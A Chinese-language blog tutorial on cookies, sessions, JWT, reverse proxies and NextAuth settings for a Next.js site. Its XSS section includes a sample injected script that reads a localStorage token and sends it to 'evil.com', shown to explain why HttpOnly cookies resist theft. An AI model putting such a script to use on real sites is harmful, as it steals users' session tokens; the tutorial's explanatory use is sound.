跳至正文
来两杯美式
返回

Web 会话与身份验证完整指南

By 来两杯美式
发布于更新于

面向前端小白,从零理解 Cookie、Session、JWT 和身份验证。


一、HTTP 请求基础

1.1 HTTP 请求长什么样?

当你在浏览器访问一个网站,浏览器会发出这样的请求:

GET /dashboard HTTP/1.1
Host: example.com
User-Agent: Chrome/120.0
Cookie: session=abc123; theme=dark
Accept: text/html

关键字段

1.2 为什么需要 Host 头?

一台服务器可以托管多个网站:

服务器 IP: 192.168.1.100

├── example.com  → 网站 A
├── myapp.com    → 网站 B
└── blog.com     → 网站 C

服务器收到请求后,靠 Host 头判断该返回哪个网站的内容。


二、Cookie 基础

Cookie 是服务器发送给浏览器的一小段数据,浏览器会保存起来,后续请求自动带上。

第一次访问:
浏览器 → GET /login
服务器 → Set-Cookie: session=abc123; HttpOnly
浏览器 → 保存 Cookie

后续访问:
浏览器 → GET /dashboard
         Cookie: session=abc123  ← 自动带上
服务器 → 识别用户,返回数据
Set-Cookie: session=abc123;
  Domain=example.com;    ← 哪个域名可用
  Path=/;                ← 哪些路径可用
  HttpOnly;              ← JS 无法读取(防 XSS)
  Secure;                ← 只在 HTTPS 传输
  SameSite=Lax;          ← 防 CSRF
  Max-Age=604800         ← 过期时间(秒)
属性作用
DomainCookie 的作用域名
PathCookie 的作用路径
HttpOnlyJavaScript 无法读取,防止 XSS 攻击
Secure只在 HTTPS 下传输
SameSite防止 CSRF 攻击(Strict/Lax/None)
Max-Age过期时间(秒)

规则 1:不设置 Domain

Set-Cookie: session=abc123; Path=/

浏览器自动使用当前域名,只对当前域名有效:

访问域名Cookie 来自是否发送
example.comexample.com
api.example.comexample.com
other.comexample.com

规则 2:设置 Domain

Set-Cookie: session=abc123; Domain=example.com; Path=/

当前域名和所有子域名都可用:

访问域名是否发送
example.com
api.example.com
app.example.com
other.com

浏览器决定的,不是服务器。

服务器响应:
Set-Cookie: session=abc123; Path=/
(没有 Domain 属性)

浏览器收到后:
"没有指定 Domain?我用当前地址栏的域名"
设置到:example.com

三、Cookie vs localStorage

3.1 对比

CookielocalStorage
设计目的HTTP 状态管理浏览器本地存储
发送方式每次请求自动带上不会自动发送
容量4KB5MB
过期时间可设置永久存储
JS 访问HttpOnly 时不可访问随意访问

3.2 请求行为对比

Cookie

浏览器 → GET /api/user
         Cookie: session=abc123  ← 自动带上
服务器 → 验证身份,返回数据

localStorage

浏览器 → GET /api/user
         (没有自动带上)
服务器 → 401 未授权

需要手动添加:
fetch('/api/user', {
    headers: {
        'Authorization': `Bearer ${localStorage.getItem('token')}`
    }
})

3.3 安全性对比

攻击类型CookielocalStorage
XSSHttpOnly 可防御完全 vulnerable
CSRF可能被攻击不自动发送,相对安全

XSS 攻击示例

<!-- 恶意脚本注入 -->
<script>
  // Cookie:HttpOnly 时无法读取 ✅
  console.log(document.cookie); // 空

  // localStorage:可以读取 ❌
  const token = localStorage.getItem("token");
  fetch("https://evil.com/steal?token=" + token);
</script>

3.4 使用场景

场景推荐
身份验证 TokenCookie + HttpOnly ✅
用户偏好设置localStorage
本地缓存数据localStorage
表单草稿localStorage

4.1 什么是反向代理?

用户浏览器

反向代理(Nginx/Caddy)  ← 处理 HTTPS、负载均衡

应用服务器(Next.js)

4.2 请求转发过程

1. 用户访问: https://example.com/dashboard

2. 请求到达反向代理:
   Host: example.com

3. 反向代理转发给应用:
   Host: localhost:3000  ← Host 变了!
   X-Forwarded-Host: example.com  ← 真实域名存这里
   X-Forwarded-Proto: https

4. 应用服务器处理请求

设置 Cookie

应用服务器响应:
Set-Cookie: session=abc123; Path=/

反向代理原样转发

浏览器收到:
看到请求来自 example.com
设置 Cookie Domain: example.com

发送 Cookie

浏览器请求:
Cookie: session=abc123

反向代理原样转发:
Cookie: session=abc123

应用服务器收到完整 Cookie

关键点:Cookie 是请求头的一部分,反向代理会原样转发,无需额外配置。

4.4 反向代理配置

Nginx

location / {
    proxy_pass http://localhost:3000;
    proxy_set_header Host $host;
    proxy_set_header X-Forwarded-Host $host;
    proxy_set_header X-Forwarded-Proto $scheme;
}

Caddy(自动处理):

reverse_proxy localhost:3000

五、身份验证方式

5.1 四种主流方式

方式存储位置优点缺点
Session + Cookie服务端可随时撤销需要存储
JWT + CookieCookie无状态无法主动失效
JWT + localStoragelocalStorage简单XSS 风险
Access + Refresh Token双 Token安全性高实现复杂
登录成功

服务端创建 Session,存入数据库/Redis
Session: { id: 'sess_123', userId: '1', expiresAt: '...' }

Cookie 只存 Session ID
Set-Cookie: sessionId=sess_123

每次请求,用 Session ID 查询数据库获取用户信息

优点

缺点

5.3 JWT + Cookie(当前项目使用)

登录成功

生成 JWT Token(包含用户信息)
Token: { userId: '1', name: '张三', exp: 1234567890 }

用密钥签名
Token: eyJhbGciOiJIUzI1NiIs...

存入 Cookie
Set-Cookie: session=eyJhbGciOiJIUzI1NiIs...

每次请求,解析 JWT 获取用户信息(无需查数据库)

优点

缺点

5.4 JWT + localStorage(不推荐)

登录成功

返回 JWT Token

前端存到 localStorage

每次请求手动添加到 Header
Authorization: Bearer <token>

问题:XSS 攻击可以轻松窃取 Token。

5.5 如何选择?

项目规模推荐方案
小型/个人项目JWT + Cookie ✅
中大型项目Session + Cookie + Redis
高安全要求Access Token + Refresh Token

六、NextAuth 配置详解

6.1 AUTH_SECRET

是什么:加密签名 JWT 的密钥

作用

生成 JWT → 用 AUTH_SECRET 签名 → Token

验证 JWT → 用 AUTH_SECRET 验证签名 → 成功/失败

配置

# 生成密钥
openssl rand -base64 32

# 输出
QL5z1LkiOpczKTUdTIgOEBd+wnNhYZpWe4u7l+oeKYo=
AUTH_SECRET=QL5z1LkiOpczKTUdTIgOEBd+wnNhYZpWe4u7l+oeKYo=

注意事项

6.2 AUTH_TRUST_HOST

是什么:让 NextAuth 信任请求中的 Host 头

为什么需要

用户访问: https://example.com

反向代理转发

NextAuth 收到: Host: localhost:3000

NextAuth 默认:
"这个 Host 不在信任列表,拒绝!"
报错:UntrustedHost

开启后

AUTH_TRUST_HOST=true

NextAuth:
"好的,信任这个 Host"
正常处理请求

什么时候开启

场景是否开启
本地开发✅ 开启
Vercel 等云平台✅ 开启
自建服务器 + 反向代理✅ 开启
AUTH_TRUST_HOST=true

6.3 AUTH_URL

是什么:明确告诉 NextAuth 网站的真实地址

为什么需要

生成 OAuth 回调地址:
需要告诉 Discord 登录成功后跳转回哪里

回调地址应该是:
https://example.com/api/auth/callback/discord

但 NextAuth 只知道收到的是 localhost:3000
怎么办?

AUTH_URL 的作用

AUTH_URL=https://example.com

生成回调地址时使用 AUTH_URL,而不是请求中的 Host。

什么时候需要

场景是否需要
本地开发❌ 不需要
生产环境✅ 建议配置
使用 OAuth 登录✅ 必须配置

6.4 三个配置的关系

┌─────────────────────────────────────────────────────┐
│                                                     │
│  AUTH_SECRET                                        │
│  ├── 作用:加密签名 JWT                             │
│  ├── 必须:生产环境必须                             │
│  └── 安全:不能泄露                                 │
│                                                     │
│  AUTH_TRUST_HOST                                    │
│  ├── 作用:信任请求中的 Host                        │
│  ├── 场景:反向代理、本地开发                       │
│  └── 行为:跳过 Host 校验                          │
│                                                     │
│  AUTH_URL                                           │
│  ├── 作用:明确网站地址                             │
│  ├── 场景:生产环境、OAuth 回调                     │
│  └── 优先级:高于请求中的 Host                      │
│                                                     │
└─────────────────────────────────────────────────────┘

七、子域名与自定义域名

问题

在 jianli.live 登录

Cookie 存到 jianli.live

访问 ludandan.jianli.live

没有 Cookie,需要重新登录 ❌

解决方案:设置 Cookie Domain 为 .jianli.live

// src/server/auth/config.ts
cookies: {
    sessionToken: {
        name: 'authjs.session-token',
        options: {
            httpOnly: true,
            sameSite: 'lax',
            path: '/',
            secure: process.env.NODE_ENV === 'production',
            domain: process.env.NODE_ENV === 'production'
                ? '.jianli.live'
                : undefined
        }
    }
}

效果

在 jianli.live 登录

Cookie Domain: .jianli.live

所有子域名共享:
├── jianli.live ✅
├── ludandan.jianli.live ✅
└── zhangsan.jianli.live ✅

7.2 自定义域名问题

问题

在 jianli.live 登录

Cookie 存到 jianli.live

访问 my-resume.com(用户自定义域名)

没有 Cookie ❌(不同域名,无法共享)

解决方案:跨域名登录流程

┌────────────────────────────────────────────────────┐
│  自定义域名登录流程                                 │
├────────────────────────────────────────────────────┤
│                                                    │
│  1. 用户访问 my-resume.com,点击登录               │
│     ↓                                              │
│  2. 跳转到 jianli.live/auth/login?redirect=...     │
│     ↓                                              │
│  3. 在主域名登录成功                               │
│     ↓                                              │
│  4. 生成一次性 token,跳转回:                      │
│     my-resume.com/auth/callback?token=xxx          │
│     ↓                                              │
│  5. my-resume.com 验证 token,设置自己的 Cookie    │
│     ↓                                              │
│  6. 用户在 my-resume.com 已登录                    │
│                                                    │
└────────────────────────────────────────────────────┘

八、当前项目配置总结

8.1 环境变量

本地开发

NODE_ENV=development
AUTH_SECRET=<随机生成的密钥>
AUTH_TRUST_HOST=true
DATABASE_URL=postgresql://user:pass@localhost:5432/jianli-pro

生产环境

NODE_ENV=production
AUTH_SECRET=<随机生成的密钥>
AUTH_TRUST_HOST=true
AUTH_URL=https://jianli.live
DATABASE_URL=postgresql://user:pass@host:5432/jianli-pro

8.2 NextAuth 配置

// src/server/auth/config.ts
export const authConfig = {
  trustHost: !!env.AUTH_TRUST_HOST,

  providers: [
    // ...登录方式
  ],

  session: {
    strategy: "jwt",
  },

  cookies: {
    sessionToken: {
      name: "authjs.session-token",
      options: {
        httpOnly: true,
        sameSite: "lax",
        path: "/",
        secure: process.env.NODE_ENV === "production",
        domain:
          process.env.NODE_ENV === "production" ? ".jianli.live" : undefined,
      },
    },
  },

  callbacks: {
    // ...
  },
} satisfies NextAuthConfig;

8.3 检查清单

检查项本地开发生产环境
AUTH_SECRET✅ 已配置✅ 必须配置
AUTH_TRUST_HOST✅ 已配置✅ 必须配置
AUTH_URL❌ 不需要✅ 建议配置
HTTPS❌ 不需要✅ 必须
Cookie Domain❌ 不设置.jianli.live
反向代理 X-Forwarded 头❌ 不需要✅ 必须正确

九、常见问题

Q1:登录后立即登出?

检查:

Q2:子域名无法共享登录?

检查 Cookie Domain 是否设置为 .主域名

确保 AUTH_TRUST_HOST=true

Q4:生产环境 OAuth 回调地址错误?

确保配置了 AUTH_URL

Q5:如何让用户强制下线?

如果使用 JWT 策略,无法主动让用户下线。 改用 Session 策略,删除数据库中的 session 记录即可。


十、安全最佳实践

Set-Cookie: session=abc123;
  HttpOnly;      ← 必须,防 XSS
  Secure;        ← 生产环境必须,只走 HTTPS
  SameSite=Lax;  ← 防 CSRF
  Path=/;        ← 全站可用

10.2 密钥管理

10.3 HTTPS

生产环境必须使用 HTTPS:


十一、总结

┌─────────────────────────────────────────────────────┐
│  核心概念                                           │
├─────────────────────────────────────────────────────┤
│                                                     │
│  Cookie:浏览器存储,每次请求自动带上               │
│  Session:服务端存储,Cookie 只存 ID                │
│  JWT:无状态 Token,自包含用户信息                  │
│                                                     │
├─────────────────────────────────────────────────────┤
│  身份验证选择                                       │
├─────────────────────────────────────────────────────┤
│                                                     │
│  小型项目 → JWT + Cookie ✅                         │
│  中大型项目 → Session + Redis                       │
│  高安全项目 → Access/Refresh Token                  │
│                                                     │
├─────────────────────────────────────────────────────┤
│  关键配置                                           │
├─────────────────────────────────────────────────────┤
│                                                     │
│  AUTH_SECRET:密钥,必须配置                        │
│  AUTH_TRUST_HOST:信任 Host,反向代理时开启         │
│  AUTH_URL:网站地址,生产环境配置                   │
│  Cookie Domain:子域名共享时设置为 .主域名          │
│                                                     │
└─────────────────────────────────────────────────────┘

分享这篇文章:
通过邮件分享这篇文章✓ 链接已复制
查看系列全部文章
  1. 01.T3 Stack 开发规范
  2. 02.Next.js 并行路由完全指南
  3. 03.Web 会话与身份验证完整指南
  4. 04.Auth Guard 与 tRPC 中间件
  5. 05.T3 Stack 会话认证指南
  6. 06.Next.js 子域名、反向代理与分享链路最佳实践
  7. 07.CORS 与 Web 安全实战白皮书
  8. 08.Web 多主题架构最佳实践
  9. 09.Vercel AI SDK 自定义 OpenAI 模型接入
  10. 10.AI 驱动动态看板架构指南
  11. 11.VitePress 动态渲染全栈落地方案

上一篇
Auth Guard 与 tRPC 中间件
下一篇
Next.js 并行路由完全指南